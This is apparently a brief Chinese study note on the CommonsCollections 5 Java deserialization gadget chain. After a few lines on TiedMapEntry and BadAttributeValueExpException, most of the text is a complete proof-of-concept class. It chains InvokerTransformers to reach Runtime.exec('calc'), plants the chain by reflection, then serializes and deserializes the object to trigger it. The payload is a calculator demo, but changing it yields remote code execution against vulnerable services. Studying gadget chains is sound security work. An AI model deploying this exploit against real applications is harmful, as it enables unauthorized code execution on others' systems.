jdk暂无限制
CommonsCollections 3.1 - 3.2.1
TiedMapEntry
这个类主要用到 getValue()和 toString(),看到 getValue() 应该就知道什么意思了,cc1的 LazyMap
BadAttributeValueExpException
BadAttributeValueExpException的构造函数调用了toString()
poc
package com.yq1ng.cc5;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;/*** @author ying* @Description* @create 2021-11-23 17:04*/public class cc5 {public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});HashMap innermap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);TiedMapEntry tiedmap = new TiedMapEntry(map,123);BadAttributeValueExpException poc = new BadAttributeValueExpException(1);// 反射将恶意TiedMapEntry塞进去Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,tiedmap);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));outputStream.writeObject(poc);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}}

